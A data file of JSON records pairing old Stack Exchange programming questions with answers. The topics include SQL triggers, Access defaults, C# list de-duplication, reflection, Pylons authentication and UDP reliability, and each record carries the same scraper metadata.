"https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.144150"}
{"id": "hf_a904d8fb7f9f", "question": "<p>I've been hearing about triggers, and I have a few questions.<br />\nWhat are triggers?<br />\nHow do I set them up?<br />\nAre there any precautions, aside from typical SQL stuff, that should be taken?</p>\n", "question_body": "", "answer": "A trigger is a named database object that is associated with a table and that is activated when a particular event occurs for the table.\nTo create a trigger:\n```\n```\nCREATE TRIGGER triggerName [BEFORE|AFTER] [INSERT|UPDATE|DELETE|REPLACE] ON tableName FOR EACH ROW SET stuffToDoHERE;\n```\n```\nEven though I answered this part the other question still stands.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.191713"}
{"id": "hf_b88967cbb534", "question": "<p>With the code, forms and data inside the same database I am wondering what are the best practices to design a suite of tests for a Microsoft Access application (say for Access 2007).</p>\n\n<p>One of the main issues with testing forms is that only a few controls have a <code>hwnd</code> handle and other controls only get one they have focus, which makes automation quite opaque since you cant get a list of controls on a form to act on.</p>\n\n<p>Any experience to share?</p>\n", "question_body": "", "answer": "I would design the application to have as much work as possible done in queries and in vba subroutines so that your testing could be made up of populating test databases, running sets of the production queries and vba against those databases and then looking at the output and comparing to make sure the output is good.  This approach doesn't test the GUI obviously, so you could augment the testing with a series of test scripts (here I mean like a word document that says open form 1, and click control 1) that are manually executed.\nIt depends on the scope of the project as the level of automation necessary for the testing aspect.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.216231"}
{"id": "hf_32e76651da23", "question": "<p>Given an array of characters which forms a sentence of words, give an efficient algorithm to reverse the order of the words (not characters) in it.</p>\n\n<p>Example input and output:</p>\n\n<pre><code>&gt;&gt;&gt; reverse_words(\"this is a string\")\n'string a is this'\n</code></pre>\n\n<p>It should be O(N) time and O(1) space (<code>split()</code> and pushing on / popping off the stack are not allowed).</p>\n\n<p>The puzzle is taken from <a href=\"http://halcyon.usc.edu/~kiran/msqs.html#programming\" rel=\"noreferrer\" title=\"Microsoft Interview Questions\">here</a>.</p>\n", "question_body": "", "answer": "In pseudo code:\n```\n```\nreverse input string\nreverse each word (you will need to find word boundaries)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.250636"}
{"id": "hf_95a40842debe", "question": "<p>It's common to have a table where for example the the fields are account, value, and time.  What's the best design pattern for retrieving the last value for each account?  Unfortunately the last keyword in a grouping gives you the last physical record in the database, not the last record by any sorting.  Which means IMHO it should never be used.  The two clumsy approaches I use are either a subquery approach or a secondary query to determine the last record, and then joining to the table to find the value.  Isn't there a more elegant approach?</p>\n", "question_body": "", "answer": "The subquery option sounds best to me, something like the following psuedo-sql.  It may be possible/necessary to optimize it via a join, that will depend on the capabilities of the SQL engine.\n```\n```\nselect * \nfrom table \nwhere account+time in (select account+max(time) \n                       from table \n                       group by account \n                       order by time)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.273907"}
{"id": "hf_6142e9cd4d66", "question": "<p>This free collection library comes from IT University of Copenhagen.</p>\n\n<p><a href=\"http://www.itu.dk/research/c5/\" rel=\"noreferrer\">http://www.itu.dk/research/c5/</a></p>\n\n<p>There is a video with one of the authors on Channel 9. I am trying to learn how to use these collections and I was wondering whether anyone has more experiences or what are your thoughts on this specific collection library for .NET. Do you like the way they are designed, do you like their performance and what were your major problems with them ?</p>\n", "question_body": "", "answer": "I've used it in the past and there are a couple of notes I must make:\nThe library is very good, very fast and very useful. It has lots of very nice data structures, some of which I did not know before starting to use this library.\nIt's Open-Source! This is a huge benefit.\nSometimes you don't have exactly what you want. As far as my experience showed, the library's authors decided to go with a very fault-intolerant attitude, throwing exceptions about everything. This caused me to add a few fault-tolerant methods.\nAll in all, a very nice library with some advanced data structures. Unfortunately, support for it is very lacking, as you can see from the fact that new releases (bugfixes, et al) range somewhere from 6 months to a year.\nNote:\nStarting with Mono 2.0, C5 is\nbundled as a 3rd party API\n, which I believe to be a wonderful show of faith in the product from the Mono team.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.320581"}
{"id": "hf_c464191abfef", "question": "<p>Resharper, RefactorPro, etc?</p>\n", "question_body": "", "answer": "I have tried using Resharper for some while and also CodeRush with Refactor later on.\nI have stayed with CodeRush/Refactor. There is one major difference - the discoverability of the commands. Their learning videos are quite nice and show you a lot.\nMost importantly Coderush has one key/shortcut for all refactorings which makes you much more likely to actually use them. There is side window that shows you what keys to press in order to use the templates as well. I have liked Resharper's searching for usage of a method, but CodeRush has a similar feature ignited by Shift + F12 and you can also simply press Tab on a variable, function etc. to jump to its next usage.\nI also liked the interface of CodeRush/Refactor more.\nOne of the pro's for Resharper is the integrated testing tool so yuo can run test directly from Visual Studio.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.368526"}
{"id": "hf_3cf366b7cc06", "question": "<p>As one of those people that never got around to properly learning design (or having no talent for it), the design seems to be the step always holding me back. It's not a problem for rich-clients, as the standard GUI toolkits provide some acceptable ways to design a good-looking interface, but the web is another story. </p>\n\n<p>Question: Does anyone know of a high-quality framework for designing the interface of web applications? I'm thinking of standard snippets of html for an adequate set of controls (the standard html controls plus maybe navigations, lists, forms) and style sheets to give it an acceptable, modern look. If such a thing existed, it could even support themes in the way wordpress, drupal etc. allow it.</p>\n\n<p>I know of the yahoo yui, but that's mostly javascript, though their grid css is a step in the right direction. </p>\n", "question_body": "", "answer": "I'm not sure that what you're looking for exists in the way you're looking for it. However, I've had some luck with places like\nOpen Source Web Design\nand\nOpen Designs\n, which have some really slick templates that can be adapted to a web application so they at least don't look like crap.\nThere are also some commercial offerings, such as\nGooey Templates\n.\nOnce you're getting closer to launch, you can contact a pro to fix the details for you, or simply build on what you've got.\nEdited to add\n: You might also want to consider learning\nBlueprint CSS\n. I've found it helps guide my layouts and helps them look \"right\", without constraining me to the layout constructed for another purpose.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.405258"}
{"id": "hf_b2ed42cee863", "question": "<p>If unit-test names can become outdated over time and if you consider that the test itself is the most important thing, then is it important to choose wise test names?</p>\n\n<p>ie </p>\n\n<pre><code>[Test]\npublic void ShouldValidateUserNameIsLessThan100Characters() {}\n</code></pre>\n\n<p>verse </p>\n\n<pre><code>[Test]\npublic void UserNameTestValidation1() {}\n</code></pre>\n", "question_body": "", "answer": "i wouldn't put conditions that test needs to meet in the name, because conditions may change in time. in your example, i'd recommend naming like\n```\n```\nUserNameLengthValidate()\n```\n```\nor\n```\n```\nUserNameLengthTest()\n```\n```\nor something similar to explain what the test does, but not presuming the testing/validation parameters.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.429560"}
{"id": "hf_16662521e117", "question": "<p>Updating an old ASP/Access site for a client - I need SQL to add a column to an existing table and set a default value. Doesn't work - any ideas?</p>\n\n<p>This works fine</p>\n\n<pre><code>ALTER TABLE documents ADD COLUMN membersOnly NUMBER\n</code></pre>\n\n<p>I want this to work:</p>\n\n<pre><code>ALTER TABLE documents ADD COLUMN membersOnly NUMBER DEFAULT 0\n</code></pre>\n\n<p>Have googled and seen instructions for default values work for other field types but I want to add number. Thanks!</p>\n", "question_body": "", "answer": "Tools -> Options -> Tables/Queries -> (At the bottom right:) Sql Server Compatible Syntax - turn option on for this database.\nthen you can execute your query:\n```\n```\nALTER TABLE documents ADD COLUMN membersOnly NUMBER DEFAULT 0\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.534698"}
{"id": "hf_cf9d3c800855", "question": "<p>Does anyone know if there is a c# Console app, similar to the Python or Ruby console? I know the whole \"Compiled versus Interpreted\" difference, but with C#'s reflection power I think it could be done.</p>\n\n<p><strong>UPDATE</strong>\nWell, it only took about 200 lines, but I wrote a simple one...It works a lot like osql. You enter commands and then run them with go.</p>\n\n<p><a href=\"http://www.gfilter.net/junk/sharpconsole.jpg\">SharpConsole http://www.gfilter.net/junk/sharpconsole.jpg</a></p>\n\n<p>If anyone wants it, let me know.</p>\n", "question_body": "", "answer": "Given your mention of \"C#'s reflection power\", I am unsure whether you're looking for an interactive C# console for small code snippets of your own (à la Ruby's\n```\nirb\n```\n), or a means of interacting with an existing, compiled application currently running as a process.\nIn the former case:\nWindows PowerShell\nmight be your friend\nAnother candidate would be the\nC# shell\nFinally,\nCSI\n, a Simple C# Interpreter", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.558024"}
{"id": "hf_ffe3300b4120", "question": "<p>I am coming from an Enterprise Java background which involves a fairly heavyweight software stack, and have recently discovered the \n<a href=\"http://www.stripesframework.org/\" rel=\"noreferrer\">Stripes framework</a>; my initial impression is that this seems to do a good job of minimising the unpleasant parts of building a web application in Java.</p>\n\n<p>Has anyone used Stripes for a project that has gone live? And can you share your experiences from the project? Also, did you consider any other technologies and (if so) why did you chose Stripes?</p>\n", "question_body": "", "answer": "We converted a home-grown web framework to stripes in about a week. We're using it in production at this time and it's a great framework. The community is extremely helpful, and the framework doesn't get in your way. It can be extended in many places to change the behavior as you see fit. The url binding feature is awesome as well. We implemented a robust security framework using annotations and interceptors. We're using spring for dependency injection and stripes has excellent support for that.\nI'd definitely use the new 1.5 release if you're going to use it.\nI'm a huge fan of the framework. I came from a struts background and it's the exact framework I was looking for. The other developers on our team really enjoy using the stripes framework.\nI just bought the stripes beta book from the pragmatic programmer's site. It's a great resource on Stripes 1.5.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.592345"}
{"id": "hf_010bba032f08", "question": "<p>I'm dealing with a MySQL table that defines the JobName column as UNIQUE.  If somebody tries to save a new Job to the database using a JobName that is already in the database, MySQL throws a warning.</p>\n\n<p>I would like to be able to detect this warning, just like an error, in my PHP script and deal with it appropriately.  Ideally I would like to know what kind of warning MySQL has thrown so that I can branch the code to handle it.</p>\n\n<p>Is this possible?  If not, is it because MySQL doesn't have this ability, PHP doesn't have this ability, or both?</p>\n", "question_body": "", "answer": "First, you should\nturn warnings off\nso that your visitors don't see your\nMySQL\nerrors. Second, when you call\n```\nmysql_query()\n```\n, you should check to see if it returned false. If it did, call\n```\nmysql_errno()\n```\nto find out what went wrong. Match the number returned to the error codes on\nthis page\n.\nIt looks like this is the error number you're looking for:\nError: 1169 SQLSTATE: 23000 (ER_DUP_UNIQUE)\nMessage: Can't write, because of unique constraint, to table '%s'", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.615090"}
{"id": "hf_f0e295037cca", "question": "<p>Specifically, I am looking to use CA on properties of types other than </p>\n\n<ul>\n<li>integers and doubles</li>\n<li>CGRect, CGPoint, CGSize, and CGAffineTransform structures</li>\n<li>CATransform3D data structures</li>\n<li>CGColor and CGImage references</li>\n</ul>\n\n<p>and in objects other than CALayers or NSViews</p>\n", "question_body": "", "answer": "Well, it seems I cannot do that. What I should be doing is [subclassing NSAnimation](\nhttps://developer.apple.com/library/content/documentation/Cocoa/Conceptual/AnimationGuide/Articles/TimingAnimations.html\nsubclassing NSAnimation). This will work on a MacOS 10.4+ app, but not on Cocoa Touch, in which I cannot find any alternatives apart from using a NSTimer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.638396"}
{"id": "hf_e48c0a82a207", "question": "<p>I would like to do full-text searching of data in my Ruby on Rails application.  What options exist?</p>\n", "question_body": "", "answer": "You can use Ferret (which is Lucene written in Ruby). It integrates seamless with Rails using the acts_as_ferret mixin. Take a look at \"\nHow to Integrate Ferret With Rails\n\". A alternative is\nSphinx\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.697409"}
{"id": "hf_86503427838d", "question": "<p>A while ago I read the <a href=\"http://www.martinfowler.com/articles/mocksArentStubs.html\" rel=\"nofollow noreferrer\">Mocks Aren't Stubs</a> article by Martin Fowler and I must admit I'm a bit scared of external dependencies with regards to added complexity so I would like to ask:</p>\n\n<p>What is the best method to use when unit testing?</p>\n\n<p>Is it better to always use a mock framework to automatically mock the dependencies of the method being tested, or would you prefer to use simpler mechanisms like for instance test stubs?</p>\n", "question_body": "", "answer": "Read Luke Kanies' discussion of exactly this question in\nthis blog post\n. He references\na post from Jay Fields\nwhich even suggests that using [a equivalent to ruby's/mocha's] stub_everything is preferrable to make the tests more robust. To quote Fields' final words: \"Mocha makes it as easy to define a mock as it is to define a stub, but that doesn't mean you should always prefer mocks. In fact, I generally prefer stubs and use mocks when necessary.\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.831612"}
{"id": "hf_4996dcc713e2", "question": "<p>Anyone have a quick method for de-duplicating a generic List in C#?</p>\n", "question_body": "", "answer": "Sort it, then check two and two next to each others, as the duplicates will clump together.\nSomething like this:\n```\n```\nlist.Sort();\nInt32 index = list.Count - 1;\nwhile (index > 0)\n{\n    if (list[index] == list[index - 1])\n    {\n        if (index < list.Count - 1)\n            (list[index], list[list.Count - 1]) = (list[list.Count - 1], list[index]);\n        list.RemoveAt(list.Count - 1);\n        index--;\n    }\n    else\n        index--;\n}\n```\n```\nNotes:\nComparison is done from back to front, to avoid having to resort list after each removal\nThis example now uses C# Value Tuples to do the swapping, substitute with appropriate code if you can't use that\nThe end-result is no longer sorted", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.855557"}
{"id": "hf_e1341b53f36f", "question": "<p>I have an inherited project that uses a build script (not make) to build and link the project with various libraries.</p>\n\n<p>When it performs a build I would like to parse the build output to determine what and where the actual static libraries being linked into the final executable are and where are they coming from.</p>\n\n<p>The script is compiling and linking with GNU tools.</p>\n", "question_body": "", "answer": "Static libraries, that makes life more difficult in this regard. In case of dynamic libraries you could just have used ldd on the resulting executable and be done with it. The best bet would be some kind of configuration file. Alternatively you could try to look for -l arguments to gcc/ld. Those are used to specify libraries. You could write a script for extracting it from the output, though I suspect that you will have to do it manually because by the time you know what the script should look for you probably already know the answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.891349"}
{"id": "hf_408793be5e33", "question": "<p>Simple one really.  In SQL, if I want to search a text field for a couple of characters, I can do:</p>\n\n<pre><code>SELECT blah FROM blah WHERE blah LIKE '%text%'\n</code></pre>\n\n<p>The documentation for App Engine makes no mention of how to achieve this, but surely it's a common enough problem?</p>\n", "question_body": "", "answer": "BigTable, which is the database back end for App Engine, will scale to millions of records. Due to this, App Engine will not allow you to do any query that will result in a table scan, as performance would be dreadful for a well populated table.\nIn other words, every query must use an index. This is why you can only do\n```\n=\n```\n,\n```\n>\n```\nand\n```\n<\n```\nqueries. (In fact you can also do\n```\n!=\n```\nbut the API does this using a a combination of\n```\n>\n```\nand\n```\n<\n```\nqueries.)  This is also why the development environment monitors all the queries you do and automatically adds any missing indexes to your\n```\nindex.yaml\n```\nfile.\nThere is no way to index for a\n```\nLIKE\n```\nquery so it's simply not available.\nHave a watch of\nthis Google IO session\nfor a much better and more detailed explanation of this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.915012"}
{"id": "hf_d5255e960b8b", "question": "<p>I am trying to create a web application using Pylons and the resources on the web point to the <a href=\"http://pylonsbook.com/alpha1/authentication_and_authorization\" rel=\"noreferrer\">PylonsBook</a> page which isn't of much help. I want authentication and authorisation and is there anyway to setup Authkit to work easily with Pylons?</p>\n\n<p>I tried downloading the <a href=\"http://pypi.python.org/pypi/SimpleSiteTemplate/\" rel=\"noreferrer\">SimpleSiteTemplate</a> from the cheeseshop but wasn't able to run the setup-app command. It throws up an error:</p>\n\n<pre><code>  File \"/home/cnu/env/lib/python2.5/site-packages/SQLAlchemy-0.4.7-py2.5.egg/sqlalchemy/schema.py\", line 96, in __call__\n    table = metadata.tables[key]\nAttributeError: 'module' object has no attribute 'tables'\n</code></pre>\n\n<p>I use Pylons 0.9.7rc1, SQLAlchemy 0.4.7, Authkit 0.4.</p>\n", "question_body": "", "answer": "I don't think AuthKit is actively maintained anymore. It does use the Paste (\nhttp://pythonpaste.org\n) libs though for things like HTTP Basic/Digest authentication. I would probably go ahead and take a look at the source for some inspiration and then use the Paste tools if you want to use HTTP authentication.\nThere is also OpenID which is very easy to setup. The python-openid libs have an excellent example that is easy to translate to WSGI for wrapping a Pylons app. You can look at an example:\nhttp://ionrock.org/hg/brightcontent-main/file/d87b7dcc606c/brightcontent/plugins/openidauth.py", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.951754"}
{"id": "hf_3a4502c84af3", "question": "<p>I'm struggling to find the right terminology here, but if you have jQuery object...</p>\n\n<pre><code>$('#MyObject')\n</code></pre>\n\n<p>...is it possible to extract the base element? Meaning, the equivalent of this:</p>\n\n<pre><code>document.getElementById('MyObject')\n</code></pre>\n", "question_body": "", "answer": "Yes, use\n```\n.get(index)\n```\n.  According to the\ndocumentation\n:\nThe\n```\n.get()\n```\nmethod grants access to the DOM nodes underlying each jQuery object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.023956"}
{"id": "hf_cf585819d887", "question": "<p>I have wondered about the appropriateness of reflection in C# code. For example I have written a function which iterates through the properties of a given source object and creates a new instance of a specified type, then copies the values of properties with the same name from one to the other. I created this to copy data from one auto-generated LINQ object to another in order to get around the lack of inheritance from multiple tables in LINQ.</p>\n\n<p>However, I can't help but think code like this is really 'cheating', i.e. rather than using using the provided language constructs to achieve a given end it allows you to circumvent them.</p>\n\n<p>To what degree is this sort of code acceptable? What are the risks? What are legitimate uses of this approach?</p>\n", "question_body": "", "answer": "It may be just me, but the way I'd get into this is by creating a code generator - using reflection at runtime is a bit costly and untyped. Creating classes that would get generated according to your latest code and copy everything in a strongly typed manner would mean that you will catch these errors at build-time.\nFor instance, a generated class may look like this:\n```\n```\nstatic class AtoBCopier\n{\n    public static B Copy(A item)\n    {\n        return new B() { Prop1 = item.Prop1, Prop2 = item.Prop2 };\n    }\n}\n```\n```\nIf either class doesn't have the properties or their types change, the code doesn't compile. Plus, there's a huge improvement in times.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.047778"}
{"id": "hf_c8e259d1c9f6", "question": "<p>I'm trying to refer to a drive whose letter may change. I'd like to refer to it by its label (e.g., MyLabel (v:) within a Batch File.  It can be referred to by V:\\ . I'd like to refer to it by MyLabel.</p>\n\n<p>(This was posted on Experts Echange for a month with no answer. Let's see how fast SO answers it )</p>\n", "question_body": "", "answer": "You can use the WMI query language for that.\nTake a look at\nhttp://msdn.microsoft.com/en-us/library/aa394592(VS.85).aspx\nfor examples.\nThe information you are looking for is available e.g. through the property VolumeName of the Win32_LogicalDisk class,\nhttp://msdn.microsoft.com/en-us/library/aa394173(VS.85).aspx\n```\nSELECT * FROM Win32_LogicalDisk WHERE VolumeName=\"MyLabel\"\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.087896"}
{"id": "hf_4d86a44e4d95", "question": "<p>I'm loading a <strong><em>SQL Server 2000</em></strong> database into my new <strong><em>SQL Server 2005</em></strong> <strong><em>instance</em></strong>. <strong><em>As expected, the full-text catalogs don't come with it.</strong> <strong>How can I rebuild them?</em></strong></p>\n\n<p>Right-clicking my full text catalogs and hitting \"<strong><em>rebuild indexes</em></strong>\" just hangs for hours and hours without doing anything, so it doesn't appear to be that simple...</p>\n", "question_body": "", "answer": "Try it using SQL.\nCREATE FULLTEXT CATALOG\nALTER FULLTEXT CATALOG\nHere's an example from Microsoft.\n```\n```\n--Change to accent insensitive\nUSE AdventureWorks;\nGO\nALTER FULLTEXT CATALOG ftCatalog \nREBUILD WITH ACCENT_SENSITIVITY=OFF;\nGO\n-- Check Accentsensitivity\nSELECT FULLTEXTCATALOGPROPERTY('ftCatalog', 'accentsensitivity');\nGO\n--Returned 0, which means the catalog is not accent sensitive.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.123730"}
{"id": "hf_1959a87bc7cf", "question": "<p>What is the most efficient way to determine how many comments a particular blog post has? We want to store the data for a new web app. We have a list of permalink URl's as well as the RSS feeds. </p>\n", "question_body": "", "answer": "If the blog is controlled by you, a \"Select count(commentid) FROM comments WHERE postID = 2\" will possibly the best thing. If you only have the URL but still it's your blog/db, you need to create a subquery \"WHERE postID = (SELECT whatever FROM posts WHERE permalink = url)\" or whatever your way to join the comments to the posts from a URL.\nIf it's a remote blog, you have the problem that each blog has different HTML. Essentially, you're going to need to build a parser that parses the HTML and looks for repeating elements like \"div class=comment\". But that will be mostly a manual labour for each different blogs.\nSome blogs may have better ways like a comment count somewhere in the HTML or some interface, but i'm not aware of any standardized way.\nEDIT: If you got a Comment-RSS feed, you\nmay\nhave luck using a mechanism that counts XML nodes, like XPath's\nCount\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.159712"}
{"id": "hf_5cc2b32d8e95", "question": "<p>What is a magic number?</p>\n\n<p>Why should it be avoided?</p>\n\n<p>Are there cases where it's appropriate?</p>\n", "question_body": "", "answer": "A magic number is a sequence of characters at the start of a file format, or protocol exchange.  This number serves as a sanity check.\nExample:\nOpen up any GIF file, you will see at the very start: GIF89.  \"GIF89\" being the magic number.\nOther programs can read the first few characters of a file and properly identify GIFs.\nThe danger is that random binary data can contain these same characters.  But it is very unlikely.\nAs for protocol exchange, you can use it to quickly identify that the current 'message' that is being passed to you is corrupted or not valid.\nMagic numbers are still useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.184114"}
{"id": "hf_0583dab8b2d7", "question": "<p>I'm trying to install 'quadrupel', a library that relies on ffmpeg on Solaris x86.</p>\n\n<p>I managed to build ffmpeg and its libraries live in /opt/gnu/lib and the includes are in /opt/gnu/include but when I try to build quadrupel, it can't find the ffmpeg headers.</p>\n\n<p>What flags/configuration is required to include those two directories in the proper search paths for libraries and includes? I'm not much of a Makefile hacker.</p>\n", "question_body": "", "answer": "You can override the path by setting the environmental variable LD_LIBRARY_PATH.  However I would suggest changing the system paths as well so you don't have to change the library path for all users.  This can be done using crel.\n```\n```\ncrle -l -c /var/ld/ld.config -l /usr/lib:/usr/local/lib:/opt/gnu/lib\n```\n```\nFor the includes just add -I/opt/gnu/include to your CFLAGS variable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.208353"}
{"id": "hf_5ccd18e21248", "question": "<p>We have an SEO team at my office, and one of their dictums is that having lots of &lt;script&gt; blocks inline with the HTML is apocalypticly bad. As a developer that makes no sense to me at all. Surely the Google search engineers, who are the smartest people on the planet, know how to skip over such blocks? <br />\nMy gut instinct is that minimizing script blocks is a superstition that comes from the early ages of search engine optimizations, and that in today's world it means nothing. Does anyone have any insight on this?</p>\n\n<hr>\n\n<p>per our SEO guru, script blocks (especially those that are in-line, or occur before actual content) are very, very bad, and make the google bots give up before processing your actual content. Seems like bull to me, but I'd like to see what others say.</p>\n", "question_body": "", "answer": "I don't know about the SEO aspect of this (because I never can tell the mambo jambo from the real deal). But as Douglas Crockford pointed out in one of his javascript webcasts the browser always stops for parsing the script, at each  element. So, if possible, I'd rather deliver the whole document and enhance the page as late as possible with scripts anyway.\nSomething like\n```\n<head>\n    --stylesheets--\n</head>\n<body>\n  Lorem ipsum dolor\n  ...\n  ...\n  <script src=\"theFancyStuff.js\"></script>\n</body>\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.244942"}
{"id": "hf_bef152f2fb2f", "question": "<p>Is it possible for UDP data to come to you corrupted? I know it is possible for it to be lost.</p>\n", "question_body": "", "answer": "Possible? Absolutely. Undetected?\nUnlikely\n, since UDP employs a checksum that would require multiple-bit errors to appear valid. If an error is detected, the system will likely drop the packet - such are the risks of using UDP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.268838"}
{"id": "hf_3472bdd3631a", "question": "<p>For general protocol message exchange, which can tolerate some packet loss.  How much more efficient is UDP over TCP?</p>\n", "question_body": "", "answer": "UDP is slightly quicker in my experience, but not by much. The choice shouldn't be made on performance but on the message content and compression techniques.\nIf it's a protocol with message\nexchange\n, I'd suggest that the very slight performance hit you take with TCP is more than worth it. You're given a connection between two end points that will give you everything you need. Don't try and manufacture your own reliable two-way protocol on top of UDP unless you're really, really confident in what you're undertaking.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:45.292586"}
